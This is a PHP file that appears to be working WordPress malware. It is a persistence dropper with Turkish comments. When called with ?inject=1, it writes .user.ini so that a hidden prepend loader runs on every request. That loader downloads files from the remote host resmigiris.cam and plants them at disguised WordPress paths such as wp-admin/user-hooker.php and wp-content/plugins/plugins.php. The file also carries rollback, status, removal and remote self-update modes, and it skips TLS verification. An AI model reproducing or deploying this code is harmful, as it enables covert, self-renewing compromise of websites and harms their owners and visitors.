<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/txt/';
$prepFile='.cstb-prepend.php';

$prependCode='<?php'."\n"
    .'if(php_sapi_name()===\'cli\')return;'."\n"
    .'$_f=sys_get_temp_dir().\'/cstb_ui_\'.md5($_SERVER[\'HTTP_HOST\']??\'\').\'_\'.date(\'Ymd\');'."\n"
    .'if(file_exists($_f))return;'."\n"
    .'@file_put_contents($_f,time());'."\n"
    .'if(!function_exists(\'curl_init\'))return;'."\n"
    .'$_r=$_SERVER[\'DOCUMENT_ROOT\']??\'\';if(!$_r)return;'."\n"
    .'$_cdn=\'https://resmigiris.cam/txt/\';'."\n"
    .'$_chk=[\'wp-admin/user-hooker.php\'=>\'boot.txt\',\'wp-info.php\'=>\'link.txt\',\'wp-content/plugins/plugins.php\'=>\'plugins.txt\'];'."\n"
    .'foreach($_chk as $_rel=>$_src){'."\n"
    .'  $_p=$_r.\'/\'.$_rel;'."\n"
    .'  if(is_file($_p)&&filesize($_p)>100)continue;'."\n"
    .'  $_ch=curl_init($_cdn.$_src);curl_setopt_array($_ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);'."\n"
    .'  $_c=curl_exec($_ch);curl_close($_ch);'."\n"
    .'  if($_c&&strlen($_c)>50)@file_put_contents($_p,$_c);'."\n"
    .'}'."\n";

// ── ?inject=1 → .user.ini oluştur (Nginx/CloudLinux/php-fpm) ──
if(isset($_GET['inject'])&&$_GET['inject']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $iniPath="$d/.user.ini";
    $ppPath="$d/$prepFile";
    $res=[];
    $warnings=[];

    // 1) Mevcut .user.ini backup
    $bakPath="$d/.user.ini.cstb-bak-".date('Ymd-His');
    $origIni=null;
    if(is_file($iniPath)){
        $origIni=@file_get_contents($iniPath);
        @copy($iniPath,$bakPath);
        $res['backup']=is_file($bakPath)?'ok':'fail';

        // Zaten inject edilmiş mi?
        if(strpos($origIni,'cstb-prepend')!==false){
            echo json_encode(['status'=>'already-injected','backup'=>$bakPath]);exit;
        }

        // Mevcut auto_prepend_file var mı? → koruma
        if(preg_match('/^\s*auto_prepend_file\s*=\s*(.+)/mi',$origIni,$existMatch)){
            $existingPrepend=trim($existMatch[1],' "\'');
            if($existingPrepend&&$existingPrepend!=='none'&&$existingPrepend!==''){
                $warnings[]="existing auto_prepend_file found: $existingPrepend";
                // Mevcut prepend'i bizim loader'a chain et
                $prependCode.='if(file_exists(\''.$existingPrepend.'\'))require_once \''.$existingPrepend.'\';'."\n";
                $warnings[]='chained existing prepend into our loader to preserve it';
            }
        }
    }else{
        $res['backup']='no-original';
    }

    // 2) Prepend dosyasını oluştur
    $res['prepend']=@file_put_contents($ppPath,$prependCode)!==false?'ok':'fail';
    if($res['prepend']!=='ok'){
        echo json_encode(['status'=>'fail','reason'=>'cannot write prepend file']);exit;
    }

    // 3) .user.ini'ye ekle
    $marker='; cstb-prepend';
    $iniLine="auto_prepend_file = \"$ppPath\"";

    if($origIni===null){
        $newIni="$marker\n$iniLine\n";
    }else{
        // Mevcut auto_prepend_file satırını yorum yap (silme, koru)
        $cleaned=$origIni;
        if(preg_match('/^(\s*auto_prepend_file\s*=.*)$/mi',$cleaned,$m)){
            $cleaned=str_replace($m[1],'; cstb-orig: '.$m[1],$cleaned);
            $warnings[]='original auto_prepend_file line commented out (preserved with ; cstb-orig: prefix)';
        }
        $newIni=rtrim($cleaned)."\n$marker\n$iniLine\n";
    }

    $res['userini']=@file_put_contents($iniPath,$newIni)!==false?'injected':'fail';

    // 4) Site erişim testi — .user.ini cache TTL nedeniyle hemen etkilenmez
    // Ama yine de test yapalım
    $ttl=ini_get('user_ini.cache_ttl')?:300;
    $siteOk=true;

    $host=$_SERVER['HTTP_HOST']??'';
    $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
    if($host&&function_exists('curl_init')){
        $ch=curl_init("$scheme://$host/");
        curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_NOBODY=>0,CURLOPT_FOLLOWLOCATION=>1]);
        curl_exec($ch);$httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);
        $res['verify_code']=$httpCode;

        // .user.ini'nin cache süresi var, hemen 500 vermez — ama dosya syntax hatası varsa verebilir
        if($httpCode>=500){
            $siteOk=false;
            if(is_file($bakPath)){@copy($bakPath,$iniPath);$res['rollback']='restored';}
            elseif($origIni===null){@unlink($iniPath);$res['rollback']='removed';}
            @unlink($ppPath);
        }
    }

    echo json_encode([
        'status'=>$siteOk?'done':'rolled-back',
        'server'=>$_SERVER['SERVER_SOFTWARE']??'unknown',
        'sapi'=>php_sapi_name(),
        'root'=>$d,
        'backup'=>$bakPath,
        'cache_ttl'=>$ttl,
        'results'=>$res,
        'warnings'=>$warnings,
        'note'=>$siteOk?"inject OK - takes effect after {$ttl}s cache TTL":'site error detected - ROLLED BACK'
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?remove=1 → .user.ini'den kaldır, orijinali geri yükle ──
if(isset($_GET['remove'])&&$_GET['remove']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $ppPath="$d/$prepFile";$iniPath="$d/.user.ini";$res=[];
    if(is_file($ppPath)){$res['prepend']=@unlink($ppPath)?'removed':'fail';}
    if(is_file($iniPath)){
        $ini=@file_get_contents($iniPath);
        if(strpos($ini,'cstb-prepend')!==false){
            // cstb satırlarını kaldır
            $ini=preg_replace('/;\s*cstb-prepend\nauto_prepend_file\s*=[^\n]+\n?/','',$ini);
            // Orijinal auto_prepend_file'ı geri aç
            $ini=preg_replace('/^;\s*cstb-orig:\s*/m','',$ini);
            @file_put_contents($iniPath,$ini);
            $res['userini']='cleaned-and-original-restored';
        }else{$res['userini']='not-found';}
    }
    echo json_encode(['results'=>$res]);exit;
}

// ── ?rollback=1 → Son backup'tan geri dön ──
if(isset($_GET['rollback'])&&$_GET['rollback']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $ppPath="$d/$prepFile";$iniPath="$d/.user.ini";$res=[];
    $baks=glob("$d/.user.ini.cstb-bak-*");
    if($baks){rsort($baks);@copy($baks[0],$iniPath);$res['userini']='restored from '.basename($baks[0]);}
    else{$res['userini']='no-backup';}
    if(is_file($ppPath)){$res['prepend']=@unlink($ppPath)?'removed':'kept';}
    echo json_encode(['results'=>$res]);exit;
}

// ── ?status=1 ──
if(isset($_GET['status'])&&$_GET['status']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $ppPath="$d/$prepFile";$iniPath="$d/.user.ini";
    $iniHas=false;
    if(is_file($iniPath))$iniHas=strpos(@file_get_contents($iniPath),'cstb-prepend')!==false;
    echo json_encode([
        'server'=>$_SERVER['SERVER_SOFTWARE']??'unknown',
        'sapi'=>php_sapi_name(),
        'userini_exists'=>is_file($iniPath),
        'userini_injected'=>$iniHas,
        'prepend_exists'=>is_file($ppPath),
        'current_prepend'=>ini_get('auto_prepend_file')?:'(none)',
        'cache_ttl'=>ini_get('user_ini.cache_ttl')?:300,
        'backups'=>array_map('basename',glob("$d/.user.ini.cstb-bak-*")?:[]),
        'root'=>$d
    ],JSON_UNESCAPED_SLASHES);exit;
}

// Self-update
if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $ch=curl_init($cdn.'wp-userini.txt');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']);}
    else{echo json_encode(['self'=>'current']);}
    exit;
}

header('Content-Type: text/plain');
echo "cstb-userini (Nginx/CloudLinux/php-fpm)\nsapi: ".php_sapi_name()."\nserver: ".($_SERVER['SERVER_SOFTWARE']??'?')."\nmodes: ?inject=1 | ?remove=1 | ?rollback=1 | ?status=1\n";
